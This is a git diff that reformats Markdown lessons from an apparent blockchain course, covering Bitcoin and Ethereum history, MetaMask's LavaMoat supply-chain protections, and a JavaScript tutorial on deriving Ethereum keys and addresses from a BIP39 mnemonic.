years leading to Bitcoin launch](../../../img/S01/bitcoin-old-tech.jpeg) +![diagram showing technical developments over the past 40 years leading to Bitcoin launch](../../../img/S01/bitcoin-old-tech.jpeg) - Satoshi Nakamoto was aware of all these developments, and references them throughout [their whitepaper.](https://bitcoin.org/bitcoin.pdf){target=_blank} But Bitcoin actually started on a listserve and with Nakamoto sharing a piece of software they were building. It was initially simply called "Bitcoin" and was built using C++. Nakamoto also encouraged others to run the software and began gathering the early developers who ran the first distributed network. +Satoshi Nakamoto was aware of all these developments, and references them throughout [their whitepaper](https://bitcoin.org/bitcoin.pdf){target=\_blank}. But Bitcoin actually started on a listserve and with Nakamoto sharing a piece of software they were building. It was initially simply called "Bitcoin" and was built using C++. Nakamoto also encouraged others to run the software and began gathering the early developers who ran the first distributed network. - Once the software was stable, Nakamoto released a whitepaper describing the concepts underpinning the software and referencing some of the older technologies it drew upon. By the release of the whitepaper, there was a growing community of developers interested in Bitcoin and discussing its future. +Once the software was stable, Nakamoto released a whitepaper describing the concepts underpinning the software and referencing some of the older technologies it drew upon. By the release of the whitepaper, there was a growing community of developers interested in Bitcoin and discussing its future. - Famously, Nakamoto stepped back from the project in early 2011. In April of that year, Nakamoto posted their last update to [Bitcoin Core,](https://en.bitcoin.it/wiki/Bitcoin_Core){target=_blank} as the software was now known and gave developer credentials to the now-lead technical developer, [Gavin Andresen.](https://en.wikipedia.org/wiki/Gavin_Andresen){target=_blank} ([source](https://bitcoinmagazine.com/technical/what-happened-when-bitcoin-creator-satoshi-nakamoto-disappeared){target=_blank}) +Famously, Nakamoto stepped back from the project in early 2011. In April of that year, Nakamoto posted their last update to [Bitcoin Core](https://en.bitcoin.it/wiki/Bitcoin_Core){target=\_blank}, as the software was now known and gave developer credentials to the now-lead technical developer, [Gavin Andresen](https://en.wikipedia.org/wiki/Gavin_Andresen){target=\_blank}. ([source](https://bitcoinmagazine.com/technical/what-happened-when-bitcoin-creator-satoshi-nakamoto-disappeared){target=\_blank}) - Many have speculated about Satoshi Nakamoto's identity but their identity has never been definitively proven. There is a significant amount of bitcoin (some estimates say around one million bitcoin) Nakamoto mined during their time running the Bitcoin Core software. It's considered to be the best identity test for anyone claiming to be Nakamoto: Sign a cryptographic digital message with the private key associated with this bitcoin. It has never been done! +Many have speculated about Satoshi Nakamoto's identity but their identity has never been definitively proven. There is a significant amount of bitcoin (some estimates say around one million bitcoin) Nakamoto mined during their time running the Bitcoin Core software. It's considered to be the best identity test for anyone claiming to be Nakamoto: Sign a cryptographic digital message with the private key associated with this bitcoin. It has never been done! - Basic Technical Features ------------------------- +## Basic Technical Features - We'll briefly touch on two main technical parts of the Bitcoin network: The UTXO transaction model and the Script smart-contract language. +We'll briefly touch on two main technical parts of the Bitcoin network: The UTXO transaction model and the Script smart-contract language. - - The Unspent Transaction Output or **[UTXO](https://en.wikipedia.org/wiki/Unspent_transaction_output){target=_blank}** model is the fundamental building block of transactions in the Bitcoin network. Per Wikipedia: "Each UTXO is analogous to a coin, and holds a certain amount of value in its respective currency. Each UTXO represents a chain of ownership implemented as a chain of digital signatures where the owner signs a message (transaction) transferring ownership of their UTXO to the receiver's public key." The UTXO model is in contrast to the [account model](https://ethereum.stackexchange.com/questions/326/what-are-the-pros-and-cons-of-ethereum-balances-vs-utxos){target=_blank} that Ethereum tracks value in the network - +- The Unspent Transaction Output or **[UTXO](https://en.wikipedia.org/wiki/Unspent_transaction_output){target=\_blank}** model is the fundamental building block of transactions in the Bitcoin network. Per Wikipedia: "Each UTXO is analogous to a coin, and holds a certain amount of value in its respective currency. Each UTXO represents a chain of ownership implemented as a chain of digital signatures where the owner signs a message (transaction) transferring ownership of their UTXO to the receiver's public key." The UTXO model is in contrast to the [account model](https://ethereum.stackexchange.com/questions/326/what-are-the-pros-and-cons-of-ethereum-balances-vs-utxos){target=\_blank} that Ethereum tracks value in the network - - Many don't realize this, but Bitcoin does actually technically have a programming language it uses, called [Script,](https://en.bitcoin.it/wiki/Script){target=_blank} which is based off the [Forth](https://en.wikipedia.org/wiki/Forth_(programming_language)){target=_blank} programming language. It's very limited in its capacity, but you can read about some of its capacity in [Mastering Bitcoin](https://github.com/bitcoinbook/bitcoinbook){target=_blank} in the ["Advanced Transactions and Scripting"](https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch07.asciidoc){target=_blank} chapter. +- Many don't realize this, but Bitcoin does actually technically have a programming language it uses, called [Script](https://en.bitcoin.it/wiki/Script){target=\_blank}, which is based off the [Forth](){target=\_blank} programming language. It's very limited in its capacity, but you can read about some of its capacity in [Mastering Bitcoin](https://github.com/bitcoinbook/bitcoinbook){target=\_blank} in the ["Advanced Transactions and Scripting"](https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch07.asciidoc){target=\_blank} chapter. +## Conclusion - Conclusion ----------- +It's sometimes easy for others to find fault with Bitcoin and the Bitcoin community. However, it's important to note Bitcoin's contribution to the world, both specifically to blockchains but also to distributed networks generally. We can't go as deep as we'd like to (we can't, but we'd like to talk about the Segregated Witness development and the more recent Taproot fork), but we'd encourage you to at least checkout the whitepaper. At this point, you should be able to understand all the concepts in it! - It's sometimes easy for others to find fault with Bitcoin and the Bitcoin community. However, it's important to note Bitcoin's contribution to the world, both specifically to blockchains but also to distributed networks generally. We can't go as deep as we'd like to (we can't, but we'd like to talk about the Segregated Witness development and the more recent Taproot fork), but we'd encourage you to at least checkout the whitepaper. At this point, you should be able to understand all the concepts in it! +Here are some great resources for reading the whitepaper, which can be intimidating on its own: - Here are some great resources for reading the whitepaper, which can be intimidating on its own: +- [Fermat's Library: Bitcoin Whitepaper Annotated](https://fermatslibrary.com/s/bitcoin){target=\_blank} +- [Genius.com's Annotation of Bitcoin White Paper](https://genius.com/Satoshi-nakamoto-bitcoin-a-peer-to-peer-electronic-cash-system-annotated){target=\_blank} - * [Fermat's Library: Bitcoin Whitepaper Annotated](https://fermatslibrary.com/s/bitcoin){target=_blank} -* [Genius.com's Annotation of Bitcoin White Paper](https://genius.com/Satoshi-nakamoto-bitcoin-a-peer-to-peer-electronic-cash-system-annotated){target=_blank} - - Additional Material -------------------- +## Additional Material ### History and Nakamoto - * [Wikipedia: Bitcoin](https://en.wikipedia.org/wiki/Bitcoin){target=_blank} A general overview of Bitcoin from our favorite hive mind encyclopedia. -* [Article: Exploring Bitcoin's History](https://medium.com/coinmonks/exploring-bitcoins-history-ecbf1c59952c){target=_blank} A very long, but thorough, article discussing all the technology building up to Bitcoin, including TCP/IP, Elliptic Curve Cryptography, time-stamp servers, smart contracts and more. -* [Article: The Crypto-Currency](https://www.newyorker.com/magazine/2011/10/10/the-crypto-currency){target=_blank} An article discussing Bitcoin and it's mysterious creator Satoshi Nakamoto, from October 2011 -* [Article: What Bitcoin Is and Why It Matters (MIT)](https://www.technologyreview.com/2011/05/25/194486/what-bitcoin-is-and-why-it-matters/){target=_blank} -* [Article: What Happened When Bitcoin Creator Satoshi Nakamoto Disappeared (Bitcoin Magazine)](https://bitcoinmagazine.com/technical/what-happened-when-bitcoin-creator-satoshi-nakamoto-disappeared){target=_blank} An article charting the rise of Nakamoto, the community of developers who grew around the project, and the eventual disappearance of Nakamoto from the project in 2011. +- [Wikipedia: Bitcoin](https://en.wikipedia.org/wiki/Bitcoin){target=\_blank} A general overview of Bitcoin from our favorite hive mind encyclopedia. +- [Article: Exploring Bitcoin's History](https://medium.com/coinmonks/exploring-bitcoins-history-ecbf1c59952c){target=\_blank} A very long, but thorough, article discussing all the technology building up to Bitcoin, including TCP/IP, Elliptic Curve Cryptography, time-stamp servers, smart contracts and more. +- [Article: The Crypto-Currency](https://www.newyorker.com/magazine/2011/10/10/the-crypto-currency){target=\_blank} An article discussing Bitcoin and it's mysterious creator Satoshi Nakamoto, from October 2011 +- [Article: What Bitcoin Is and Why It Matters (MIT)](https://www.technologyreview.com/2011/05/25/194486/what-bitcoin-is-and-why-it-matters/){target=\_blank} +- [Article: What Happened When Bitcoin Creator Satoshi Nakamoto Disappeared (Bitcoin Magazine)](https://bitcoinmagazine.com/technical/what-happened-when-bitcoin-creator-satoshi-nakamoto-disappeared){target=\_blank} An article charting the rise of Nakamoto, the community of developers who grew around the project, and the eventual disappearance of Nakamoto from the project in 2011. ### Technical Features and Development - * [Book: Mastering Bitcoin](https://github.com/bitcoinbook/bitcoinbook){target=_blank} Considered to be the best-in-class introduction to Bitcoin development. -* [Tutorial: Advanced Transactions](https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch07.asciidoc){target=_blank} Section from "Mastering Bitcoin" about Script's more advanced features. +- [Book: Mastering Bitcoin](https://github.com/bitcoinbook/bitcoinbook){target=\_blank} Considered to be the best-in-class introduction to Bitcoin development. +- [Tutorial: Advanced Transactions](https://github.com/bitcoinbook/bitcoinbook/blob/develop/ch07.asciidoc){target=\_blank} Section from "Mastering Bitcoin" about Script's more advanced features. ### General Resources - * [Online Course: What is Money? (UC Berkeley)](https://berkeley-haas.hosted.panopto.com/Panopto/Pages/Viewer.aspx?id=c29702dd-1b12-4436-87d4-a87100137a6e){target=_blank} -* [Article: You Don't Understand Bitcoin Because You Think Money is Real](https://medium.com/@mariabustillos/you-dont-understand-bitcoin-because-you-think-money-is-real-5aef45b8e952){target=_blank} A favorite article of ours! -* [Article: What is Money? (London Review of Books)](https://www.lrb.co.uk/v38/n08/john-lanchester/when-bitcoin-grows-up){target=_blank} Sort-of paywalled, but a think piece about the implications of Bitcoin from April 2016. -* [Article: What the Heck is UTXO?](https://medium.com/bitbees/what-the-heck-is-utxo-ca68f2651819){target=_blank} - - +- [Online Course: What is Money? (UC Berkeley)](https://berkeley-haas.hosted.panopto.com/Panopto/Pages/Viewer.aspx?id=c29702dd-1b12-4436-87d4-a87100137a6e){target=\_blank} +- [Article: You Don't Understand Bitcoin Because You Think Money is Real](https://medium.com/@mariabustillos/you-dont-understand-bitcoin-because-you-think-money-is-real-5aef45b8e952){target=\_blank} A favorite article of ours! +- [Article: What is Money? (London Review of Books)](https://www.lrb.co.uk/v38/n08/john-lanchester/when-bitcoin-grows-up){target=\_blank} Sort-of paywalled, but a think piece about the implications of Bitcoin from April 2016. +- [Article: What the Heck is UTXO?](https://medium.com/bitbees/what-the-heck-is-utxo-ca68f2651819){target=\_blank} diff --git a/docs/S01-fundamentals/M5-wallets/L2-intro-to-mm/index.md b/docs/S01-fundamentals/M5-wallets/L2-intro-to-mm/index.md index c617c3de..89d0f211 100644 --- a/docs/S01-fundamentals/M5-wallets/L2-intro-to-mm/index.md +++ b/docs/S01-fundamentals/M5-wallets/L2-intro-to-mm/index.md @@ -1,8 +1,5 @@ - Introduction to MetaMask -======================== +# Introduction to MetaMask - This is currently a video on LMS +This is currently a video on LMS - [Browsers 300: MetaMask Learning Session with Tom Hay and Anthony Albertorio](https://www.youtube.com/watch?v=d0NtNbbMQ1s){target=_blank} - - \ No newline at end of file +[Browsers 300: MetaMask Learning Session with Tom Hay and Anthony Albertorio](https://www.youtube.com/watch?v=d0NtNbbMQ1s){target=\_blank} diff --git a/docs/S01-fundamentals/M5-wallets/L3-mm-lavamoat/index.md b/docs/S01-fundamentals/M5-wallets/L3-mm-lavamoat/index.md index da2e25b8..b7bece39 100644 --- a/docs/S01-fundamentals/M5-wallets/L3-mm-lavamoat/index.md +++ b/docs/S01-fundamentals/M5-wallets/L3-mm-lavamoat/index.md @@ -1,17 +1,16 @@ -How Does MetaMask Keep Your Keys Safe? -====================================== +# How Does MetaMask Keep Your Keys Safe? There are more Ethereum wallets available now than, say, a few years ago. What makes MetaMask special? In the next two sections, we're going to prove to you why MetaMask holds a characteristic that raises it above the rest. Namely, MetaMask has taken more steps than any digital cryptocurrency wallet to protect its users. As we hope you realize by now, this is of the utmost importance in the Web 3 paradigm. If we are decentralizing systems, that also means users take on much more security concerns than they are used to having on the web. It's a tall order for users, but even more massive for those building tooling used as extensively as MetaMask. Luckily, the MetaMask team is working with engineers in the broader JavaScript community who have been focussing on these issues for quite some time. All decentralized systems require a way to safely persist state and capture intent, not just blockchains, and the MetaMask team has been able to draw from decades of experience and contribute their own innovations. All of this helps push us towards a broader decentralized future. At the end of the day, MetaMask, is a **user consent tool** with a broad impact beyond public blockchains. -With the user's private keys in the browser, you may assume the private key at some point is passed outside of MetaMask. However, this is **never** the case. To do so would invite imminent hack. But how to make sure the keys never leave MetaMask? You have to build something very difficult to penetrate around MetaMask. Enter...[LavaMoat!](https://github.com/LavaMoat/LavaMoat){target=_blank} +With the user's private keys in the browser, you may assume the private key at some point is passed outside of MetaMask. However, this is **never** the case. To do so would invite imminent hack. But how to make sure the keys never leave MetaMask? You have to build something very difficult to penetrate around MetaMask. Enter...[LavaMoat](https://github.com/LavaMoat/LavaMoat){target=\_blank}! ![logo for lavamoat](../../../img/S01/lavamoat-logo.png) -From [the repo:](https://github.com/LavaMoat/LavaMoat){target=_blank} +From [the repo](https://github.com/LavaMoat/LavaMoat){target=\_blank}: -**LavaMoat** is a set of tools for securing JavaScript projects against a category of attacks called software [supply chain attacks.](https://en.wikipedia.org/wiki/Supply_chain_attack){target=_blank} +**LavaMoat** is a set of tools for securing JavaScript projects against a category of attacks called software [supply chain attacks.](https://en.wikipedia.org/wiki/Supply_chain_attack){target=\_blank} This genre of attack occurs when a malicious dependency makes its way into a developer's application. An attacker could use the vulnerable dependency to then steal important secrets like credit card numbers, private keys, or personal data. @@ -19,20 +18,18 @@ These attacks have occurred in the software system, in part due to a larger phen ![screencap of npm install screen](../../../img/S01/npm-install.png) -*A common sight* +_A common sight_ -Major ransomware attacks like [the SolarWinds attack](https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach){target=_blank} on US Federal Government Systems show us that the supply chain issue is not just restricted to JavaScript or cryptocurrency projects. +Major ransomware attacks like [the SolarWinds attack](https://en.wikipedia.org/wiki/2020_United_States_federal_government_data_breach){target=\_blank} on US Federal Government Systems show us that the supply chain issue is not just restricted to JavaScript or cryptocurrency projects. - Supply chain attacks present a significant risk for the developers and users of wallets and apps. In order to help mitigate the risk of such an attack MetaMask is building a suite of tools that range from a node-based runtime, to plugins for common app bundlers (eg webpack, browserify), to dependency analysis and visualization tools. +Supply chain attacks present a significant risk for the developers and users of wallets and apps. In order to help mitigate the risk of such an attack MetaMask is building a suite of tools that range from a node-based runtime, to plugins for common app bundlers (eg webpack, browserify), to dependency analysis and visualization tools. - The goal of LavaMoat is to bring added protections to modern JavaScript apps without having to rewrite them from scratch and automate a good first-start security configuration. +The goal of LavaMoat is to bring added protections to modern JavaScript apps without having to rewrite them from scratch and automate a good first-start security configuration. - Learn more about LavaMoat below and, in the next section, we'll hear from MetaMask co-founder Dan Finlay talk about MetaMasks' broader contributions in building a secure, extensible JavaScript to power a decentralized future. +Learn more about LavaMoat below and, in the next section, we'll hear from MetaMask co-founder Dan Finlay talk about MetaMasks' broader contributions in building a secure, extensible JavaScript to power a decentralized future. - Additional Material -------------------- +## Additional Material - - [Video: Introduction to LavaMoat (DevCon V)](https://www.youtube.com/watch?v=c-UUfrZTmio){target=_blank} - - [Video: LavaMoat: Securing Your Dependency Graph](https://www.youtube.com/watch?v=iaqe6F4S2tA){target=_blank} - - [Code: LavaMoat GitHub Repo](https://github.com/LavaMoat/LavaMoat){target=_blank} - +- [Video: Introduction to LavaMoat (DevCon V)](https://www.youtube.com/watch?v=c-UUfrZTmio){target=\_blank} +- [Video: LavaMoat: Securing Your Dependency Graph](https://www.youtube.com/watch?v=iaqe6F4S2tA){target=\_blank} +- [Code: LavaMoat GitHub Repo](https://github.com/LavaMoat/LavaMoat){target=\_blank} diff --git a/docs/S02-ethereum/M1-background/index.md b/docs/S02-ethereum/M1-background/index.md index 2ddc1d18..dbf48133 100644 --- a/docs/S02-ethereum/M1-background/index.md +++ b/docs/S02-ethereum/M1-background/index.md @@ -1,50 +1,40 @@ - Ethereum History and Background -=============================== +# Ethereum History and Background - In our last section, when discussing how to analyze new blockchain networks you encounter, we recommended you ask, "Why does this network exist?" Well, we think it's important to drink our own potions, so we'd like to ask that question of Ethereum: Why does it exist? +In our last section, when discussing how to analyze new blockchain networks you encounter, we recommended you ask, "Why does this network exist?" Well, we think it's important to drink our own potions, so we'd like to ask that question of Ethereum: Why does it exist? - We'll do a brief overview of [the Ethereum network,](https://en.wikipedia.org/wiki/Ethereum){target=_blank} including its history, but we'll dive deeper into all of this material over the rest of the course. +We'll do a brief overview of [the Ethereum network](https://en.wikipedia.org/wiki/Ethereum){target=\_blank}, including its history, but we'll dive deeper into all of this material over the rest of the course. - Background ----------- +## Background - [Vitalik Buterin](https://en.wikipedia.org/wiki/Vitalik_Buterin){target=_blank}, a co-founder of Ethereum, was an active part of the Bitcoin community, including writing for [Bitcoin Magazine.](https://bitcoinmagazine.com/authors/vitalik-buterin){target=_blank} He and others in the community had become interested in developing more computing capacity for the Bitcoin network. As we learned in a previous section, Bitcoin does have a programming language, [Script.](https://en.bitcoin.it/wiki/Script){target=_blank} Projects such as [Colored Coins](https://en.bitcoin.it/wiki/Colored_Coins){target=_blank} and [RSK](https://www.rsk.co/){target=_blank} have tried to introduce extra programming capacity on top of the Bitcoin Network. Buterin and others researched this and decided to build their own network, which would become Ethereum. +[Vitalik Buterin](https://en.wikipedia.org/wiki/Vitalik_Buterin){target=\_blank}, a co-founder of Ethereum, was an active part of the Bitcoin community, including writing for [Bitcoin Magazine](https://bitcoinmagazine.com/authors/vitalik-buterin){target=\_blank}. He and others in the community had become interested in developing more computing capacity for the Bitcoin network. As we learned in a previous section, Bitcoin does have a programming language, [Script](https://en.bitcoin.it/wiki/Script){target=\_blank}. Projects such as [Colored Coins](https://en.bitcoin.it/wiki/Colored_Coins){target=\_blank} and [RSK](https://www.rsk.co/){target=\_blank} have tried to introduce extra programming capacity on top of the Bitcoin Network. Buterin and others researched this and decided to build their own network, which would become Ethereum. - Launch of Ethereum ------------------- +## Launch of Ethereum - Ethereum ran a pre-sale to fund its development and collected funds in Bitcoin. The testnet launched in May 2015 and the public mainnet, Frontier, launched in July 2015 ([source](https://consensys.net/blog/blockchain-explained/a-short-history-of-ethereum/){target=_blank}). +Ethereum ran a pre-sale to fund its development and collected funds in Bitcoin. The testnet launched in May 2015 and the public mainnet, Frontier, launched in July 2015 ([source](https://consensys.net/blog/blockchain-explained/a-short-history-of-ethereum/){target=\_blank}). - Ethereum differs from and overlaps with Bitcoin in quite a few ways. We'll get into more specifics later, but here are the broad strokes: - -- **Consensus Mechanism** Ethereum and Bitcoin both use the Proof of Work mechanism to create blocks in their network. Ethereum is moving its network to Proof of Stake, a testnet of which was launched in December 2020. The effort to swap the consensus mechanism of Ethereum to Proof of Stake is sometimes called [Ethereum 2.0.](https://consensys.net/blog/blockchain-explained/what-is-ethereum-2){target=_blank} More on this later! -- **Programming Language** also called an Execution Environment. It's essentially how much a programmer can do with the network. As we mentioned, Bitcoin has a limited, programming language that can do some interesting things. However, one of Ethereum's biggest selling point for many developers is what's called the Ethereum Virtual Machine (EVM). Compared to Bitcoin's Script, the EVM provides a much more robust programming environment which allows people to build small, automated programs called *smart contracts*. For this reason, Ethereum can be the base layer for a number of other platforms and protocols. -- **Developer Base** Due to the capacity of the Ethereum network compared to Bitcoin, Ethereum has a much more robust developer base compared to Bitcoin. In the past few years, there have been blockchains also with more capacity than Bitcoin (We will examine a few of these in our section later on crosschain interoperability). However, Ethereum has the first-mover advantage as well as a well-organized developer base for both its protocol and for its smart contracts. - - +Ethereum differs from and overlaps with Bitcoin in quite a few ways. We'll get into more specifics later, but here are the broad strokes: - Development of the Network: EIPs, ERCs --------------------------------------- +- **Consensus Mechanism** Ethereum and Bitcoin both use the Proof of Work mechanism to create blocks in their network. Ethereum is moving its network to Proof of Stake, a testnet of which was launched in December 2020. The effort to swap the consensus mechanism of Ethereum to Proof of Stake is sometimes called [Ethereum 2.0](https://consensys.net/blog/blockchain-explained/what-is-ethereum-2){target=\_blank}. More on this later! +- **Programming Language** also called an Execution Environment. It's essentially how much a programmer can do with the network. As we mentioned, Bitcoin has a limited, programming language that can do some interesting things. However, one of Ethereum's biggest selling point for many developers is what's called the Ethereum Virtual Machine (EVM). Compared to Bitcoin's Script, the EVM provides a much more robust programming environment which allows people to build small, automated programs called _smart contracts_. For this reason, Ethereum can be the base layer for a number of other platforms and protocols. +- **Developer Base** Due to the capacity of the Ethereum network compared to Bitcoin, Ethereum has a much more robust developer base compared to Bitcoin. In the past few years, there have been blockchains also with more capacity than Bitcoin (We will examine a few of these in our section later on crosschain interoperability). However, Ethereum has the first-mover advantage as well as a well-organized developer base for both its protocol and for its smart contracts. - The Ethereum community has a series of governing bodies that coordinate the maintenance and updating of the protocol. [Ethereum Core Developers](https://github.com/ethereum/pm){target=_blank} hold monthly calls, which are open to viewing by the public. There is also a group called [Ethereum Cat Herders,](https://www.ethereumcatherders.com/){target=_blank} which is dedicated to "decentralized project management to support the Ethereum network." +## Development of the Network: EIPs, ERCs - Changes to the Ethereum network begin as [Ethereum Improvement Proposals (EIPs)](https://eips.ethereum.org/){target=_blank}. The EIP process is a well-defined system where anyone can submit ideas to improve the network. It will require a lot of effort and dedication, but EIPs are essential to the network's well-being. Related are Ethereum Request for Comments (or ERCs). ERCs are standards that have been agreed upon by the community. A well-known example are community standards for common smart contracts, like the ERC-20 and ERC-721 (also known as an NFT!). More on this later! +The Ethereum community has a series of governing bodies that coordinate the maintenance and updating of the protocol. [Ethereum Core Developers](https://github.com/ethereum/pm){target=\_blank} hold monthly calls, which are open to viewing by the public. There is also a group called [Ethereum Cat Herders](https://www.ethereumcatherders.com/){target=\_blank}, which is dedicated to "decentralized project management to support the Ethereum network." - Conclusion ----------- +Changes to the Ethereum network begin as [Ethereum Improvement Proposals (EIPs)](https://eips.ethereum.org/){target=\_blank}. The EIP process is a well-defined system where anyone can submit ideas to improve the network. It will require a lot of effort and dedication, but EIPs are essential to the network's well-being. Related are Ethereum Request for Comments (or ERCs). ERCs are standards that have been agreed upon by the community. A well-known example are community standards for common smart contracts, like the ERC-20 and ERC-721 (also known as an NFT!). More on this later! - Overall, we would argue that Ethereum's extended capacity from the EVM gave rise to a broader community of developers. This has given Ethereum a distinct advantage over other blockchain networks. Now, this does not mean Ethereum is the best blockchain for all things. This also doesn't mean Ethereum will *always* be the blockchain with the strongest developer base. It's simply the case now. +## Conclusion - Let's learn more about the Ethereum ecosystem! +Overall, we would argue that Ethereum's extended capacity from the EVM gave rise to a broader community of developers. This has given Ethereum a distinct advantage over other blockchain networks. Now, this does not mean Ethereum is the best blockchain for all things. This also doesn't mean Ethereum will _always_ be the blockchain with the strongest developer base. It's simply the case now. - Additional Material -------------------- +Let's learn more about the Ethereum ecosystem! - * [Article: A Short History of Ethereum (ConsenSys)](https://consensys.net/blog/blockchain-explained/a-short-history-of-ethereum/){target=_blank} -* [Article: What is Ethereum 2.0? (ConsenSys)](https://consensys.net/blog/blockchain-explained/what-is-ethereum-2){target=_blank} -* [Reddit: What's the Difference Between ERC and EIP?](https://www.reddit.com/r/ethereum/comments/5v76ne/what_is_the_difference_between_erc_and_eip/){target=_blank} -* [Wiki: Ethereum Improvement Proposals](https://eips.ethereum.org/){target=_blank} Learn here about the Ethereum Improvement Proposal (EIP), the way in which standards to the protocols are created, developed, changed and (potentially) implemented. -* [Wiki: Ethereum Community](https://ethereum.org/en/community/){target=_blank} Great resource where you can learn how to get involved in the Ethereum community. -* [Article: What is an Ethereum Core Developer? (Hudson Jameson)](https://hudsonjameson.com/2020-06-22-what-is-an-ethereum-core-developer/){target=_blank} Great article detailing the previously-undefined term of a "Core Developer." Jameson comes up with this definition, "Ethereum core developers are people who currently provide significant contributions to Ethereum low-level protocol development" +## Additional Material - +- [Article: A Short History of Ethereum (ConsenSys)](https://consensys.net/blog/blockchain-explained/a-short-history-of-ethereum/){target=\_blank} +- [Article: What is Ethereum 2.0? (ConsenSys)](https://consensys.net/blog/blockchain-explained/what-is-ethereum-2){target=\_blank} +- [Reddit: What's the Difference Between ERC and EIP?](https://www.reddit.com/r/ethereum/comments/5v76ne/what_is_the_difference_between_erc_and_eip/){target=\_blank} +- [Wiki: Ethereum Improvement Proposals](https://eips.ethereum.org/){target=\_blank} Learn here about the Ethereum Improvement Proposal (EIP), the way in which standards to the protocols are created, developed, changed and (potentially) implemented. +- [Wiki: Ethereum Community](https://ethereum.org/en/community/){target=\_blank} Great resource where you can learn how to get involved in the Ethereum community. +- [Article: What is an Ethereum Core Developer? (Hudson Jameson)](https://hudsonjameson.com/2020-06-22-what-is-an-ethereum-core-developer/){target=\_blank} Great article detailing the previously-undefined term of a "Core Developer." Jameson comes up with this definition, "Ethereum core developers are people who currently provide significant contributions to Ethereum low-level protocol development" diff --git a/docs/S02-ethereum/M2-accounts/L2-generating-accounts/index.md b/docs/S02-ethereum/M2-accounts/L2-generating-accounts/index.md index c5e979d1..301110b9 100644 --- a/docs/S02-ethereum/M2-accounts/L2-generating-accounts/index.md +++ b/docs/S02-ethereum/M2-accounts/L2-generating-accounts/index.md @@ -1,132 +1,136 @@ -Generating Ethereum accounts in JavaScript -========================================== +# Generating Ethereum accounts in JavaScript Public key cryptography and digital signatures are a foundational technology that enable blockchains to work. In this project you are going to get your hands dirty and understand how they work at the code level. You will be using JavaScript and a simple web interface to see what is going on. For a refresher on keys, see [Public/Private Key Crypto](../../../S01-fundamentals/M1-cryptography/L1-pub-key-crypto/index.md) and the [additional resources](../../../S01-fundamentals/M1-cryptography/L2-pub-key-crypto-additional/index.md). -Generate Private Key --------------------- +## Generate Private Key -First, we are going to generate a private key, derive public keys from the private key and determine the associated accounts. To get started [clone the project](https://github.com/ConsenSys-Academy/ethereum-address-generator-js){target=_blank} and run: +First, we are going to generate a private key, derive public keys from the private key and determine the associated accounts. To get started [clone the project](https://github.com/ConsenSys-Academy/ethereum-address-generator-js){target=\_blank} and run: -``` -$ npm install -$ npm audit fix --force # this will patch any vulnerabilities in outdated packages -$ npm run watch # this will watch for updates in main.js and update bundle.js` +```bash +npm install +npm audit fix --force # this will patch any vulnerabilities in outdated packages +npm run watch # this will watch for updates in main.js and update bundle.js` # In a separate terminal/shell window in the root of the project -$ npm run reload # this will serve the app @ localhost:8081 and refresh the page when there are updates +npm run reload # this will serve the app @ localhost:8081 and refresh the page when there are updates ``` If you run into any problems while implementing this demo application, try opening the developer tools in the browser (Ctrl + Shift + I or F12) and checking the 'Console' tab. If content doesn't refresh, terminate and restart both terminal calls (`npm run watch` and `npm run reload`) -In the main.js file include the [bip39 package](https://www.npmjs.com/package/bip39){target=_blank}. We will use this to generate random input to generate a private key. +In the main.js file include the [bip39 package](https://www.npmjs.com/package/bip39){target=\_blank}. We will use this to generate random input to generate a private key. -`const BIP39 = require("bip39")` and directly below that include: -``` -// Generate a random mnemonic (uses crypto.randomBytes under the hood), defaults to 128-bits of entropy -function generateMnemonic(){ - return BIP39.generateMnemonic() +`const BIP39 = require("bip39")` and directly below that include: + +```javascript +// Generate a random mnemonic (uses crypto.randomBytes under the hood), defaults to 128-bits of entropy +function generateMnemonic() { + return BIP39.generateMnemonic(); } ``` -Note: Not all strings of characters are valid mneomics for generating keys. You can check if a mnemonic is valid by running: -``` -var isValid = BIP39.validateMnemonic("Enter your mnemonic here") -// This will return false because "Enter your mneomnic here" is not a valid phrase -``` +Note: Not all strings of characters are valid mnemonics for generating keys. You can check if a mnemonic is valid by running: -With this mnemonic, you can generate a seed from which to generate a private key. Add the following line to `main.js`: - +```javascript +var isValid = BIP39.validateMnemonic("Enter your mnemonic here"); +// This will return false because "Enter your mnemonic here" is not a valid phrase ``` - function generateSeed(mnemonic){ - return BIP39.mnemonicToSeed(mnemonic) - } + +With this mnemonic, you can generate a seed from which to generate a private key. Add the following line to `main.js`: + +```javascript +function generateSeed(mnemonic) { + return BIP39.mnemonicToSeed(mnemonic); +} ``` -Generate a Public / Private Keypair ------------------------------------ -Using this mnemonic as a source of randomness, you can now create signing keypair. +## Generate a Public / Private Key-pair -To generate a private key from the hex seed, we will to use the [ethereumjs-wallet library](https://github.com/ethereumjs/ethereumjs-wallet){target=_blank} +Using this mnemonic as a source of randomness, you can now create signing key-pair. - -``` -const hdkey = require("ethereumjs-wallet/hdkey") -``` +To generate a private key from the hex seed, we will to use the [ethereumjs-wallet library](https://github.com/ethereumjs/ethereumjs-wallet){target=\_blank} -***Explore a much more robust address derivation application at [iancoleman.io](https://iancoleman.io/bip39/){target=_blank}*** - +```javascript +const hdkey = require("ethereumjs-wallet/hdkey"); ``` -function generatePrivKey(mnemonic){ -    const seed = generateSeed(mnemonic) -    return hdkey.fromMasterSeed(seed).derivePath(`m/44'/60'/0'/0/0`).getWallet().getPrivateKey() + +**_Explore a much more robust address derivation application at [iancoleman.io](https://iancoleman.io/bip39/){target=\_blank}_** + +```javascript +function generatePrivKey(mnemonic) { + const seed = generateSeed(mnemonic); + return hdkey + .fromMasterSeed(seed) + .derivePath(`m/44'/60'/0'/0/0`) + .getWallet() + .getPrivateKey(); } ``` With the private key, we can generate the public key. Import the `ethereumjs` wallet and derive the public key - -``` -const Wallet = require('ethereumjs-wallet') - ... - function derivePubKey(privKey){ - const wallet = Wallet.fromPrivateKey(privKey) - return wallet.getPublicKey() + +```javascript +const Wallet = require('ethereumjs-wallet') + ... + function derivePubKey(privKey){ + const wallet = Wallet.fromPrivateKey(privKey) + return wallet.getPublicKey() } ``` -Generating the private key and public key is the same for both Bitcoin and Ethereum as both use [secp256k1 elliptic curve cryptography](https://en.bitcoin.it/wiki/Secp256k1){target=_blank}. Deriving an account address from the public key differs slightly. - Derive the Ethereum Address From the Keypair --------------------------------------------- +Generating the private key and public key is the same for both Bitcoin and Ethereum as both use [secp256k1 elliptic curve cryptography](https://en.bitcoin.it/wiki/Secp256k1){target=\_blank}. Deriving an account address from the public key differs 